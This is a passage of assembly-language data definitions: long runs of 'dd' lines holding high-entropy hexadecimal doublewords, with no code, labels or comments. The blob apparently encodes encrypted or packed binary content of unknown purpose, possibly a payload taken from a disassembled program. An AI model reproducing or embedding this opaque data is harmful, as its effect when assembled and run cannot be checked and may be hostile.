dd 3005B16Bh, 5012E7A4h, 5D215D4Dh, 0BA0488DDh, 277E7DA7h
dd 804434F5h, 149603F0h, 7DD78609h, 0F4188722h, 8A050309h
dd 75F11753h, 7B70FF4Dh, 58234269h, 6B5392Fh, 3DE53332h
dd 9A568C27h, 0B4C95DA3h, 92E2FA5Dh, 0F3896CDDh, 5727443Ah
dd 0FD29070Dh, 4F9AEFD3h, 9D78EB0Eh, 3651B55Ch, 9E6FE941h
dd 0F2048E26h, 0BB178379h, 21E3E41h, 526073ECh, 90840114h
dd 0E9F9319Bh, 2A162A65h, 0F406B801h, 0E2E33AF2h, 4754605Dh
dd 29842D35h, 88003D2h, 0D8A05059h, 60FF0A8Dh, 3013E21Ah
dd 70067B37h, 5C4CC1CAh, 0FE756D28h, 251F78F2h, 65FC01F3h
dd 0BD521A17h, 0DDF05705h, 3CDFCCAEh, 8E6E6D49h, 0F9F70BE9h
dd 68578206h, 46ED4320h, 1D685F02h, 88A17963h, 1C935CA3h
dd 53BCFAAh, 0F238E957h, 5F734BE2h, 0EC5915E6h, 0C969E983h
dd 9AF2324Fh, 885F97C4h, 0E640C532h, 8A05005Ah, 2975827Ah
dd 0D8B558C1h, 0DD72B504h, 1096317h, 4FAD10DCh, 0BEE06622h
dd 311BB54h, 0EE8B1F5Eh, 2035FB4Fh, 0EB514BAFh, 60BFFB87h
dd 0DAF663CAh, 0F50FEAF6h, 63A2B151h, 67289AF1h, 69E31898h
dd 23E9C401h, 0C3C93420h, 0F8F16497h, 835B49E2h, 0C20D5904h
dd 0F2AFC13h, 4B633B61h, 7CA35F89h, 2A2FB2E8h, 532D195Bh
dd 40476648h, 60DB2D4h, 0A34AF280h, 1206CED7h, 0ACD528CEh
dd 0E95909A1h, 57654293h, 87FE6B96h, 0B48C5F5Ah, 0B1025586h
dd 44A5D4E2h, 2D5FC4Eh, 1C641BB9h, 398B5D66h, 85096778h
dd 7FF1CDF2h, 7DE7566Ch, 5D4A7678h, 0FED14D8Ch, 0CE71ED41h
dd 0EC284282h, 0C1775BE6h, 53C5457Eh, 0B52EC42h, 68588C00h
dd 0D4B12CC4h, 1013D3A8h, 22E03155h, 732E1FA7h, 0ABFAD341h
dd 7328161Ch, 0B4DDB20h, 7DE5685Ah, 0BD80F16Dh, 78FE689Bh
dd 0E7C89D4Dh, 0C61C048Ah, 0F1D6E95Fh, 70D2DA90h, 57FAA21Ch
dd 0BDCC31E3h, 0F4E05B89h, 84B812AEh, 2A71F1A6h, 643039C0h
dd 5954977Ch, 0E026E98Bh, 1E95BEDCh, 8F36FD66h, 0E2521E52h
dd 0C8BE9377h, 2D4B126Ch, 0E9525920h, 0B75D49CBh, 22CCE102h
dd 6C6015D1h, 9C2FA82Ch, 0E91F81D9h, 807DDE64h, 0F33E3077h
dd 55BDED37h, 14D9E2Fh, 432F0595h, 0D370C82h, 0C3824921h
dd 0A45C5465h, 0C6033479h, 905F8843h, 2D88E0B9h, 373758EDh
dd 2ECBE14Ah, 40DB9D8Bh, 43D7CD9Ah, 0D7F5DA83h, 684183E5h
dd 306F7EB0h, 0C02228C8h, 2FE97A39h, 0B2ED2EDh, 44903442h
dd 0ABE74E8Eh, 58E9211Fh, 55696E02h, 9FAB316Eh, 0F4C06A3h
dd 0FB25594h, 0A78F966Ah, 22D729FDh, 9100DBEh, 87772C8Bh
dd 3E16190Eh, 2C6090Ch, 7BD173C9h, 0E0F2C44Fh, 5E6EA4C8h
dd 0E8C4DC25h, 0A7D68CC4h, 0F422D00h, 0D4F42E31h, 8266E448h
dd 0C1A70739h, 51D7EB46h, 0E5D96206h, 0BFAA75C4h, 0FF5DB985h
dd 0E9072138h, 59CF8A50h, 389C0B2Dh, 0FFC239A3h, 94D70709h
dd 2065863Fh, 594EDBE3h, 98AA22C5h, 444FC5BEh, 68E022E8h
dd 45CB4A55h, 6F065805h, 503D635Dh, 31EA4F64h, 634941E2h
dd 5EA85A7Dh, 0D10D4A7Eh, 0BE1115A7h, 0E273168Dh, 0EB1725h
dd 0DFEFC478h, 799D01EEh, 317D6BC0h, 5088C30Ch, 792D6882h
dd 0D10D4950h, 0BB5A8479h, 8BC0D47Fh, 2D73BFE7h, 30502B85h
dd 87651A14h, 0BDDC2C93h, 0C8EE94h, 6F6890C3h, 0B0F32966h
dd 43F45092h, 33704F2h, 0FFD0F753h, 9F2D4700h, 0EA142760h
dd 0CBBF3C93h, 1837FA4Bh, 9DA3E03Bh, 60CCEEC3h, 0A5BB6ED2h
dd 74096453h, 0D1492F68h, 4C2C82B8h, 72D541F2h, 53CD0CDCh
dd 19E388Bh, 234A52E2h, 96CEDAA4h, 46043B9Fh, 0BC74E168h
dd 3743DCF3h, 88483D6Ah, 9DDF83E9h, 0E8BF6A25h, 56F94FC2h
dd 2B036200h, 0B6B9515Fh, 0B225902h, 7AAA4CE9h, 6CF32507h
dd 57F2BE74h, 66933967h, 68C5B21Ch, 9CBB101Bh, 8AA94234h
dd 6ACC7E43h, 0E63B801Ch, 6FE0D995h, 37855ABh, 0DE025C98h
dd 897B5458h, 0D92BC0FBh, 33D3BF7Ah, 555A42A5h, 5FFDD3B0h
dd 0CB63B095h, 4618837Bh, 0D02929A3h, 8FD915Ah, 8E331C8Fh
dd 2D96F188h, 166D89EDh, 5A45EF03h, 0A0D91CFFh, 9A397ED3h
dd 27B9E03Bh, 4197984Ah, 0FE81C874h, 0F70187C2h, 0A9FE41D3h
dd 46C578h, 25660792h, 8ED4895Dh, 0F1CE7427h, 68823A5Ch
dd 4E37861h, 0E779E1BDh, 0FD13EE71h, 0D84589AAh, 853DBBBCh
dd 96B59829h, 6CF78016h, 9D2006BFh, 5C09C7BAh, 0B2312768h
dd 163F52F8h, 13F8215Fh, 0F14A1B8h, 310C544Eh, 795EF027h
dd 0A10049B7h, 46CA2C27h, 7F21B901h, 0D929C482h, 0F5AF7920h
dd 6B769D3Eh, 0FA18ACF9h, 0CDB11EAFh, 0D9617BEEh, 661B2C0Eh
dd 1424BA41h, 40EF0101h, 29714CD7h, 455D6E27h, 0F051AF53h
dd 58F333EEh, 0B710542Fh, 55801AF1h, 398B01BDh, 0CC686995h
dd 3F994D18h, 96D789E4h, 5A5750F4h, 0C05D5F2Dh, 4B08E940h
dd 0A610E41Ah, 0F00E032Dh, 0F26F32D7h, 4041FDC9h, 78286BDBh
dd 7C4909CEh, 7C003555h, 14BD6072h, 0C93FF6C1h, 11200FA3h
dd 0BAFE9D5Fh, 0F52955A7h, 0F90780DDh, 0F9159E09h, 4AB64CEh
dd 0DA2578EBh, 0B99E84F6h, 0FCE90DF7h, 0B73F3AEEh, 0E08D2DDBh
dd 27B3F5h, 0C01DEB80h, 0D3F605E3h, 8C3FE30h, 0B02CB252h
dd 7B4E414Bh, 4B6814E4h, 92471F56h, 0F02B2494h, 5F36DAAh
dd 1C0434BCh, 0E13F725Fh, 656BFDE3h, 26127A70h, 31B1DF01h
dd 0A42F38B7h, 5914F8FFh, 5080B34h, 6A1E7970h, 4689DAFh
dd 178D840Ch, 3B2FF81Ah, 0C858B808h, 63127258h, 0DA0319A9h
dd 3E3203FDh, 2EC1BCB4h, 40CACCA0h, 0FD0F2D6Dh, 4508307Ah
dd 7AB911B7h, 2C3D8905h, 1462820Eh, 0CB22A7D0h, 0CAD49F62h
dd 0CCC6224h, 6A1D0049h, 0DCCF8128h, 762CBC21h, 9A177F47h
dd 0F82A890Eh, 12E3F710h, 9CAFA53h, 76517618h, 20BC7A25h
dd 649711ABh, 0F1712E75h, 372F6913h, 0AE09D564h, 33388771h
dd 680B7033h, 27A20379h, 2B223F3Dh, 0F22D6865h, 4B285CA5h
dd 0E077F876h, 0EBC1F6F9h, 2C4B5378h, 0C2A682Fh, 56023C02h
dd 8A2BECBEh, 0F663C81Fh, 26013DDh, 4AAE082Fh, 8FE8290Bh
dd 5BC40A1h, 4F8D685Dh, 0A590374Bh, 0D739A902h, 8E1F61BFh
dd 2C769D1h, 7B7441C1h, 12E277D0h, 0E5C6425Dh, 397080C3h
dd 1BE90C72h, 0D002439Dh, 7A7A5C15h, 90414F10h, 58FAEFAAh
dd 72318A24h, 0F217B918h, 0A02C1E9Dh, 0AB91C849h, 16070502h
dd 5A4C646Ch, 0D83B445Fh, 31BA13BAh, 2ACE969Ch, 43D454A9h
dd 0AD5AF72Fh, 0F3048DB0h, 544B1348h, 132C25BAh, 1D1E012Ch
dd 0D6FB318Eh, 8D5C1242h, 80E5E95Bh, 0B6188004h, 235AB174h
dd 63328180h, 540CC05Ch, 0E9C74E42h, 4E3B0C4Ch, 7F8F6DBEh
dd 4E6B959Bh, 9D659EFDh, 5DC298D9h, 0B04D46BCh, 1C442C43h
dd 279E9C07h, 8C205A7Ah, 685602A0h, 58030B89h, 0B2EB4FC0h
dd 0CFF04D3Bh, 83A10BFh
dd 9E0A35Ah, 0E6616F68h, 200820C9h, 7ADE689Fh, 4B688090h
dd 0AE9E5354h, 0D1404D5Eh, 3A24E5C2h, 971C9832h, 0FFEFF320h
dd 364B352Bh, 81110EFh, 50FD5B02h, 0ED7E0A68h, 924FE646h
dd 9B6B1212h, 7910AA72h, 95CE13F4h, 39C81FEAh, 0F11CD417h
dd 0E9070067h, 59B92316h, 0B402A568h, 0D75AE9B5h, 0F1778F58h
dd 436B2C26h, 0EB070D40h, 94526059h, 76800A81h, 0EF25580Bh
dd 8085DF28h, 60AABD9Bh, 0B70B6EC8h, 20C5B105h, 0FCC4A208h
dd 0B6E9588Dh, 0F59F5B60h, 3E6F27A9h, 7216572Ch, 0C231FA4Ah
dd 4C400B3Ch, 7021266h, 55DFF736h, 0D5DBF356h, 0CDFE1E03h
dd 5F05E5C0h, 89D6030Ah, 58B3C530h, 3059EAA1h, 8872D455h
dd 86693191h, 0D66EFC5Ah, 0DAD9EA97h, 0B23AD1DDh, 5BC38081h
dd 17481F63h, 0EA7173E9h, 0C12E7C29h, 399E9607h, 0B320840Bh
dd 48DE97ACh, 542F598Fh, 4C2104BAh, 8C84BF78h, 0F8111B82h
dd 63209016h, 57520ACCh, 1FE4985Ch, 838BE888h, 987F7ADAh
dd 2439F65Eh, 2183D27h, 45A108ABh, 0F54542DFh, 7C51F782h
dd 0B5D1E4F5h, 61F9C909h, 37FAA364h, 9D8B82D4h, 6B497F48h
dd 91610888h, 84664F37h, 591FAED6h, 0CE04D828h, 498E515Bh
dd 1940C325h, 2C69AFE9h, 817274C7h, 0AE42E40Dh, 6CC5706Eh
dd 8F6630CBh, 75E6E159h, 804131C2h, 280079B7h, 0C71480CFh
dd 16FC66DDh, 16F042EFh, 2028B0B1h, 0BE0569A6h, 3EA557BCh
dd 0BA96F5E8h, 0D4EFE07h, 60FF2985h, 4F6853A1h, 723FCA90h
dd 2DA5D05Bh, 8B614B0Bh, 54F0533h, 7C040714h, 7E7F0405h
dd 0CCBAEAD1h, 87F229B9h, 0BC5DDEB0h, 0E73C4E0Eh, 57ED2DE9h
dd 97C1C893h, 0A6B87CBAh, 3169570h, 4B64F8F7h, 0D82EFF27h
dd 951490E6h, 0C613E067h, 0BC06C0BCh, 0B2190A49h, 7F77CE05h
dd 92C9017Ch, 72DE942Ah, 0A277BEF4h, 41F02905h, 9824E211h
dd 199E01F2h, 8957174Bh, 29F120D7h, 0BA682181h, 0C78A2218h
dd 7E8A1525h, 0A7D88856h, 51FA010Bh, 36BB62ADh, 0FE2A8796h
dd 0E92F2417h, 31B6039Dh, 33DE93F3h, 0CFB65E08h, 0A189A62Fh
dd 6E505A58h, 0F0FFB02Eh, 0BFDDF780h, 0C200B779h, 0B8B692ADh
dd 6D2D35C6h, 1144A854h, 885F50BEh, 0D18FA2Ah, 290F1EBDh
dd 0AE32579h, 252A0F40h, 30ACC94Fh, 0B879D620h, 19BC5A13h
dd 0D914E300h, 1D74356Bh, 42538776h, 8E88578Fh, 0EF93A0DFh
dd 58B1C423h, 9A1EA4AEh, 2D27644Ch, 88126F0h, 8EE82F5Fh
dd 0E4D813DFh, 0D764B930h, 0F4C4557Ah, 156C17C0h, 0C70D0058h
dd 0E911375Ah, 219DB54Ah, 0ED713955h, 40BE68CCh, 304BE91Fh
dd 0D9BB3380h, 0BD6A4B4Ah, 0B43C780Bh, 0D0F6A7FEh, 90A2D7Bh
dd 40885AD9h, 0DE8703C0h, 0A4E7C683h, 316E970Eh, 30EB02F5h
dd 62FDD171h, 108017E5h, 3E3C2DE3h, 0FC226613h, 0B4FEA436h
dd 0CA5B0500h, 7584DAFCh, 1CE7BD1Ah, 0E11691B4h, 2CAD1116h
dd 6C587Ah, 0D64229C8h, 4911FFC9h, 19A26F5Dh, 0B290523Fh
dd 5BA48C5h, 0E01471Ah, 0BBF40F80h, 0E4FD5BFFh, 0DC5AEBCBh
dd 0FFD075B8h, 0D56E8D19h, 0CB983FC1h, 2B8241F8h, 562FC3F2h
dd 0E909F3F9h, 5849E03Dh, 5F130A2Dh, 42AF0244h, 374030Dh
dd 85A356E4h, 5A03BB39h, 5E685861h, 4F02B3DCh, 8A1954ABh
dd 9EA5E004h, 703387A7h, 1129418h, 805F241h, 3B9588AFh
dd 1E8A895Bh, 0E62E0E12h, 92F4838h, 2482C9Bh, 849FF1ADh
dd 0F580EF06h, 4C014531h, 8418DCFh, 914AF830h, 4B549EEDh
dd 73749607h, 0B7595C85h, 28A39CF0h, 20FA48A6h, 0D8FF16A4h
dd 7995FB1Ch, 8905E889h, 2C9055E9h, 541ECCC7h, 13BE444Dh
dd 57B3AA77h, 0B3335A72h, 74081682h, 0EE34578Dh, 906BE964h
dd 37221F1Fh, 732D2700h, 548EE5Bh, 3B1D0708h, 0CAF82931h
dd 11503E07h, 0B7FB85Fh, 1D32970h, 0F05918FCh, 0E48C3175h
dd 0BB0CF58Fh, 7812270Bh, 0A1008061h, 964F2943h, 0A687490Ch
dd 699F06Eh, 0FE03ED81h, 0E91A7D77h, 61AABD53h, 7A1C8BECh
dd 0F7C00EF2h, 591068E9h, 24BC3FE1h, 9547E8C4h, 0AF2B845Fh
dd 2771A0B4h, 8FDF608Dh, 63AD5AABh, 1348B989h, 0BDC19F6Ch
dd 86D4A60h, 0A1DF8F3h, 0D3F70A39h, 734F028Ah, 8B727B97h
dd 5D0F6709h, 20DD7803h, 0F0BFFED1h, 2B140B9Ch, 25FF7147h
dd 0FEB2D077h, 0C3BA0502h, 685DF543h, 0BEB769FBh, 60D48001h
dd 0EBD132FDh, 0FF5FD5FAh, 0FAD6F9F8h, 0CE314674h, 493D5FFDh
dd 0A3688804h, 475AEE1Eh, 290A022Ah, 0D4AFC27Ch, 9764B591h
dd 72F2D7B1h, 90D6CCC8h, 5F428952h, 5C8272EFh, 0F62D7868h
dd 2FF0908Bh, 68369854h, 0D8A29788h, 0C2B020AEh, 0E2D5E94h
dd 5AD9093Ch, 428825B2h, 73278FC6h, 0C3A27C99h, 134CFF65h
dd 0F34B7858h, 0D886CF02h, 6F78234h, 0AB550419h, 5A217E2Ch
dd 0AE8594D8h, 0AFB425E2h, 7C53B992h, 672202B8h, 18772E9Eh
dd 3474A896h, 9C146380h, 67133187h, 0E2000588h, 71E24CA3h
dd 0E1A725E9h, 77E9E3DCh, 0F7666848h, 7526DF58h, 11CDB826h
dd 5531841Ah, 4425AC45h, 873F2047h, 2E95F50h, 17696816h
dd 0AE7629BFh, 5751C977h, 53CE327Fh, 55D28558h, 101D29EDh
dd 0EA1C5845h, 0BA13EC2Dh, 6D08E3A1h, 0FF4A3FE5h, 6312E521h
dd 8130B72h, 0A6262169h, 0CC68008Bh, 6047BE1Dh, 9737F82h
dd 9E35B3B2h, 87841FFCh, 5F099CBFh, 953E66BDh, 84986014h
dd 0BD349520h, 0AB9DA6C3h, 4D055F8Bh, 5D2DE968h, 0A525CB44h
dd 799501E4h, 535C420Bh, 0C98F73D5h, 2F54E57Dh, 4D550CC2h
dd 13BBA433h, 0E6BCA53h, 12463468h, 428D9DBBh, 0C7555EE7h
dd 0FCD3B4BCh, 0BA5239A8h, 0D1D4A5DAh, 0D5F909D5h, 5CBC6E7Dh
dd 824D6BE8h, 0C5823075h, 59BBBD24h, 9B34852Ch, 0E8891A0Bh
dd 3D4E0EF7h, 5A9B0BC7h, 0F284B1F8h, 16EA02CFh, 0DD11C93Dh
dd 8297B6Ah, 3C760E83h, 55F24D01h, 316DFE8Ah, 40D3E820h
dd 0C2EC5D73h, 803206BFh, 51500090h, 4AB495B5h, 5967EC30h
dd 0E5073118h, 0E75CED57h, 93A5AE9h, 62005F29h, 137A5563h
dd 432D699h, 9B7760D1h, 4E923A6Ah, 12340BACh, 7F04FE55h
dd 0CD94CB03h, 0B488F2AEh, 101B80E9h, 0E1AA7815h, 0C1686855h
dd 601BFE2Ah, 689F0C54h, 5F7458F2h, 9813D22Dh, 2D328B90h
dd 2E6544E0h, 1F87EA8Dh, 0CD79E43Ah, 0C52CD741h, 0C4B62A78h
dd 0E522DC4h, 56B89D13h, 15009BBEh, 2CBA423Eh, 27C5B8EDh
dd 1F807BE9h, 0F86976B9h, 0C84C01FEh, 685EB014h, 0BD6E5C0Bh
dd 215109D2h, 786BD0F6h, 0EC1E5E08h, 36D2B5CCh, 0DAA2F653h
dd 59951C70h, 43C16A71h, 68A8E7C0h, 0C6BF7042h, 30CD0B72h
dd 780559EFh, 589CCC1Eh, 0DB4A96C4h, 4B7B62A7h, 0B1B4042Fh
dd 0AF3CC406h, 23C4E41Dh, 21BBC828h, 2B02C4F9h, 9E606EDFh
dd 6BB7A4B4h, 0C04DE939h, 3DD2B15Bh, 149FD81Ah, 0E02C7155h
dd 0D80D4893h, 7BF2700h, 6A0EB951h, 0C48B8B8h, 0D5FC8AE9h
dd 0A10BF178h, 761F595Ah, 0D1F7061Fh, 440A1841h, 0E2E7BC5Ch
dd 665EFA3Eh, 4C05CE90h, 5278284Eh, 5D2B2092h, 207DBE14h
dd 60292DA5h, 0BC7BAD83h, 5F8C6383h, 0F6C7B703h, 2489C01h
dd 72DBED0Ch, 8FE12947h, 0B0C96491h, 7C307331h, 63B8F909h
dd 20A8378Fh, 14AE0546h, 57E1D12Ch, 3AECFC25h, 81080477h
dd 0AC54F6C9h, 27F11077h, 66585901h, 2E6E5B68h, 0C2D81056h
dd 0F23A4EF5h, 5AD58459h, 265FD1AFh, 0D44DA58Ch, 0C3136201h
dd 63464E02h, 3403B610h
dd 5634C601h, 8C81BE83h, 0A93F1704h, 0DC5B8440h, 8D52540Bh
dd 7FCED420h, 0EFE0355Eh, 27E4BF1Eh, 6DC241DAh, 8F3079D3h
dd 0EAC130CDh, 9A02F007h, 33D2B7CBh, 0AC847B95h, 0BD2816BAh
dd 9AB69273h, 0C065A830h, 0E5E603EDh, 800807C1h, 197019F5h
dd 0E2AD4EA5h, 5621B335h, 0EE26CFCFh, 0CBF898C9h, 55ABBF57h
dd 0AF16DFF8h, 1E203190h, 0A2AE80F1h, 35EA1253h, 803AFD09h
dd 7FADF781h, 6FFD4CFBh, 0B2E2704h, 3CF55Ah, 0B3E95F08h
dd 0A6ACB15Eh, 0C32FF8F4h, 16D0FDE9h, 0B072B47Bh, 0EC1F86F9h
dd 0C9CBD5F6h, 0E0E9328h, 9741CF6h, 0C8FF5DE9h, 0B7565E74h
dd 5CF9655Ch, 1397F282h, 27D6C76h, 0BA49693h, 0DE9562D5h
dd 0B3210B9Ch, 0C7624E7Eh, 0A9588B02h, 0F617FF73h, 0C2D1DAAh
dd 607D7EFDh, 47B55B3Fh, 74640CC2h, 754349E7h, 0C34D02FFh
dd 0BEC71CA8h, 3A868DDDh, 0CB3E228Ch, 0B02D504Ah, 5AC97093h
dd 0CB231FA0h, 0D476C180h, 0C139F58Ah, 0FA24C747h, 95FE32B5h
dd 2A6804CBh, 16F3A373h, 33CB3A33h, 7849A04Eh, 0EB88304Eh
dd 2F78B692h, 0F30EC5D3h, 0C6F21FDFh, 0FE517D71h, 0FA1C792Ch
dd 0F15A118Bh, 44630B81h, 0F6082A90h, 0EC027D82h, 985D5BAAh
dd 8B4D128Ah, 301EB0BDh, 0E60D06Eh, 0A219EBCEh, 63EAD18Dh
dd 0DCBEFDA6h, 0F79E18B0h, 6FC0DF88h, 0BF541F0Bh, 52C2092Eh
dd 5A068468h, 0FE4B2DE8h, 4AE1D57h, 0D049F8B1h, 0B84B9CA9h
dd 6FC07A4Ah, 2E5984CEh, 2DC46FFDh, 0A07FE989h, 35F7E681h
dd 2D6E48CFh, 7C7CE73Bh, 0CDF65007h, 0AD3B4808h, 0C9189C2Fh
dd 288D40Bh, 72AD8848h, 60AFCC9Dh, 79514606h, 1FB258ACh
dd 0EBABE92Ah, 265A87A1h, 0F8A34061h, 2CD95C4Fh, 2231916Ah
dd 65422C2h, 48D62A1Dh, 233B120Ch, 95AD043Eh, 0F15B0B4Ah
dd 2B074D2Ch, 642ED8Bh, 0B8D2A85Ah, 5A1AAADh, 12EE71C0h
dd 3672BBE4h, 0F0EF9001h, 0DF9BFBFh, 4B30E4EDh, 0FD400084h
dd 0F54DBF25h, 10543B5h, 0DB2CE9D7h, 0F2D706E8h, 0C60A18C5h
dd 3FBCEDA1h, 357B8002h, 0EF1754E2h, 725BCD88h, 68560959h
dd 66661219h, 0D981D725h, 41408C8Bh, 67955810h, 8325A636h
dd 0A3E98EB2h, 0A701BC8Dh, 844551C3h, 2DFB62FBh, 8F10297Dh
dd 33326407h, 0CC250DE8h, 63E532A0h, 450969EDh, 575CD81h
dd 0DFF67492h, 539BE909h, 90968D59h, 9FA2E25h, 0D424D06Bh
dd 0A7ACB858h, 8AEEE535h, 0C49116D6h, 0FF02B122h, 5A39BD40h
dd 0DF7F1C24h, 46A71030h, 792ECAB3h, 0C4A7BD92h, 0E9D96F5Eh
dd 2A239BEDh, 0A507ECD7h, 5E6A2D21h, 5282F58h, 0B55152D8h
dd 0D0508469h, 74E580DCh, 9D84E916h, 5815C962h, 0C8FE3769h
dd 5826AC04h, 0B2CCEB5Fh, 0E9575B20h, 61ABA535h, 0AAD8801h
dd 0EACC277Bh, 67E510D5h, 0EC23EC3Eh, 4F3305CAh, 0BE87728Ah
dd 768B7D60h, 29592771h, 83E85060h, 8F62A99Eh, 1297DE47h
dd 9AF4A4EBh, 9D34F89Fh, 5F520359h, 14017F6Ch, 0E9471E16h
dd 0EDA5FFCFh, 6D9801F8h, 0AC27395h, 58EA1F82h, 6C0103F2h
dd 565D4016h, 53D7BE9h, 0F858C716h, 169658D4h, 8BB8A097h
dd 7F7869F2h, 0E9F8269Eh, 690A95ACh, 713BC52h, 9D80CC67h
dd 3FD97100h, 0FFBE63BDh, 41E91BACh, 0EECD6946h, 140940D5h
dd 5120490h, 0CDFE1781h, 19ADB6ECh, 669EE80h, 0E4E6D884h
dd 0EFD6E913h, 62C2C634h, 0B5144C6h, 13F6622Bh, 0B8120E76h
dd 0D5F74D41h, 2C61EE87h, 0D1D02680h, 0DE01EA97h, 0E909BEB3h
dd 16ECE3F4h, 9FE9E7Eh, 1560898Bh, 68045551h, 44F66A57h
dd 6D2138EFh, 0CEB23612h, 0F26897A0h, 0E3469F56h, 1E7D1509h
dd 76410923h, 3D7F02EEh, 0B9C02105h, 5781EB85h, 0AE6C7EF1h
dd 1535013h, 0CD73A9B7h, 0F13AAA20h, 4BC1CA02h, 614A0FCCh
dd 0BB9DBAF0h, 64F4E66h, 9D2428Eh, 4D891C62h, 12041606h
dd 5A01F218h, 41AECA0Ah, 7AD1F80Dh, 0C6D0F2BDh, 6C28946h
dd 0A5D08495h, 0AD6C9BA1h, 0B5787B2h, 0B0B44EE2h, 23125EAEh
dd 1A98432Fh, 0C800BE55h, 3108E05Ch, 5F65E9C6h, 166FE358h
dd 7F90759h, 6430E805h, 2857E036h, 85A5424Dh, 52CDAF3Ah
dd 71161522h, 0F4CF9143h, 7E8A6F81h, 0D502692Dh, 66D7CE31h
dd 34A6C175h, 0CC44C448h, 0E926E0D1h, 66852617h, 9C07F0BDh
dd 847BE889h, 0E4D645B8h, 82424F6Ah, 0D95D54E6h, 0ED599FA3h
dd 32AF7518h, 0D5F8704Fh, 0A264F305h, 4380BA66h, 0D4286845h
dd 0D1B1CC94h, 7DFAFCEEh, 244EADA9h, 1B1E04BEh, 24AF028h
dd 46FC3EBh, 24ABA35Ch, 0FDCCC2E7h, 0BE066577h, 0AF81A1A5h
dd 3B53D101h, 5CBE3698h, 0BBA42A4Fh, 527ECEDDh, 5F5FA380h
dd 457CD499h, 6813B656h, 0E9176199h, 0B8D874F6h, 1E1A0C0Dh
dd 28FE378h, 26E1912Dh, 3C7CE93Ah, 34E85AD7h, 0E21C1250h
dd 9440487Eh, 9CDD1700h, 5AD3319Dh, 990DC0B7h, 4B969910h
dd 5DCB2553h, 9A59B15h, 31F5B90Eh, 0AC7D093Eh, 0DA2E605Fh
dd 80CEA1C0h, 1C2BBFFDh, 515027A2h, 0AF824D9h, 45F75802h
dd 4C6C25AFh, 715D20h, 78495E25h, 7E8C12Ah, 99A8B490h
dd 94173A2Dh, 80E0CCBBh, 0FEF10A81h, 3CDA9EDCh, 0D9E9B5CFh
dd 177168CDh, 26A282B2h, 0C70EFE69h, 55EC5AB0h, 6852B702h
dd 4C7D0BB8h, 0BDE570B4h, 0B01753C6h, 0AF1326h, 9A6A5C68h
dd 0F5758110h, 452C041Ch, 5D23E94Bh, 0EEFD2EE2h, 0B2B64E85h
dd 56716159h, 3E301D9Bh, 0B8CD6A2Ch, 11339BAh, 0CF591CEBh
dd 0F2508D9h, 21B204B7h, 76CFFEB0h, 0E201484Dh, 50066B46h
dd 1128183h, 14EFE958h, 0B2028972h, 29347437h, 809A2EAh
dd 6EF285CBh, 7719BD00h, 0FC4D5C7Ah, 0FF786F09h, 7BE06A02h
dd 31600D54h, 0CE156526h, 0CDE0F2AEh, 4BE3D118h, 390BF3F2h
dd 800BCC68h, 1BFF3712h, 0DD312F5Bh, 501A0E5h, 1B7B4395h
dd 1A18842Fh, 53599907h, 3DB2E9E1h, 17F1E662h, 0AC128275h
dd 0A233DA68h, 400FB763h, 480320Ah, 0E5C055F5h, 8BAB8206h
dd 245C2900h, 0BD5B7108h, 0E9726716h, 653AF645h, 8762EE16h
dd 14F05FB6h, 10B55A0h, 0C093ECB7h, 0C01DB38Ch, 801603EBh
dd 0ADB1D3CBh, 0B3FC3D8h, 23716851h, 0DE88B818h, 0E926F1E4h
dd 52878E84h, 0D28EA2B2h, 1021B6E1h, 0BC5EB70Bh, 0E11011Dh
dd 8CB83118h, 0BFED6FF4h, 3C7DAFE1h, 0F7175F1Eh, 2AE4B8A1h
dd 51D243Fh, 38572FADh, 0E26853ACh, 718F1251h, 5079E85Bh
dd 72129801h, 100150CCh, 2268AE3Bh, 898BC26Fh, 64024A75h
dd 81D3716Bh, 0CE91602Dh, 0B013607Ah, 5AAC0103h, 0C25211E1h
dd 899EC757h, 534155E9h, 7E2A7142h, 0E6C93C1Eh, 283DD90Dh
dd 58F6E016h, 0EE090F7Fh, 0D7C233E9h, 0BFB3167Fh, 0DE98938h
dd 31E89C4Ah, 884B9E2h, 0B12A968h, 29D8D9E9h, 2065F7A2h
dd 570B6321h, 289B0150h, 0C347FE75h, 761A9726h, 0FC4A304Dh
dd 4B9DBF27h, 12D1DE2h, 668B51FEh, 585E1756h, 0BA01F5F0h
dd 0F0CB0B3Eh, 59C0B428h, 75FC3CD0h, 97E9530Bh, 0C20E5939h
dd 2F7EA8BDh, 3F7AA24Fh, 0A7E8E135h, 0D94CB52Ah, 258E7C83h
dd 2CE04555h, 0F031C21Eh, 82FCFF90h, 0B8C1FE80h, 0E3095EF7h
dd 6A74587Bh, 6870EE5Eh, 6104B494h, 37436E9h, 26CE105Fh
dd 202500A2h, 2D46D943h, 99033A1Ch, 86012ACCh, 0E9229773h
dd 9E003F3Ah, 1A6156BEh, 0C1295B47h, 7FE4514Eh, 0FB92D8F3h
dd 40E96D30h, 0AD96949Ah, 0D20017EAh, 6D1B0635h, 2E433090h
dd 825DE24Eh, 68E06BE9h
dd 3D0A278Ah, 724427Fh, 0F4CA7BAh, 77F36727h, 6CC17E9Bh
dd 5B36848h, 3F9D4BDDh, 9730CB9h, 36DC265Ch, 37C12Ah, 2EF77EE4h
dd 284EE94Ah, 2A6055A5h, 24AB294h, 0D16D4FBFh, 0B0D52974h
dd 0B32D41h, 5586665h, 229B0FC3h, 6AE9250Eh, 6E05B774h
dd 9F05C2E7h, 0E3F2667Bh, 0FEE6D085h, 0B06654DCh, 0D963F76Fh
dd 81ED8A41h, 0D3C36865h, 0EE10175Eh, 8D3116A5h, 608C08FFh
dd 818F7648h, 1FB10920h, 96E43EDh, 5676666Ch, 2B6EC42h
dd 0B1C1FD89h, 0D0933D1Ah, 27D935EBh, 6C8409D5h, 3B284A05h
dd 79828214h, 2DC8D84Eh, 999DF51h, 98D7F846h, 0AB1108CCh
dd 5EF4E783h, 0EB50F2A0h, 1E66970h, 4DBD755Ah, 38542668h
dd 0DACCD639h, 4B6D17F0h, 2750AA5Ah, 0F6446008h, 98A417F3h
dd 0ED9C30D8h, 354EF35h, 0F35523Bh, 0E74469E7h, 0CFD04F0Ah
dd 79A37488h, 0C9BB3033h, 0FBA9F231h, 55166E7Eh, 20AED589h
dd 0F4CE98Ch, 0A682FA9Ch, 0F5CE62FEh, 455F4C7Ah, 3B55891Dh
dd 2D3C9Eh, 527B73Dh, 7F1482DDh, 5C533719h, 2AED63FDh
dd 0BBE7EE85h, 0EEC7E10h, 60CCCE80h, 0EEC060E6h, 0B0500708h
dd 802F2454h, 1DE902E8h, 2C0EE4BCh, 0F744E41Ch, 0AEFF3EBh
dd 0A90DE268h, 0A30BDB68h, 0A068142Fh, 35E41Dh, 0BA5258D9h
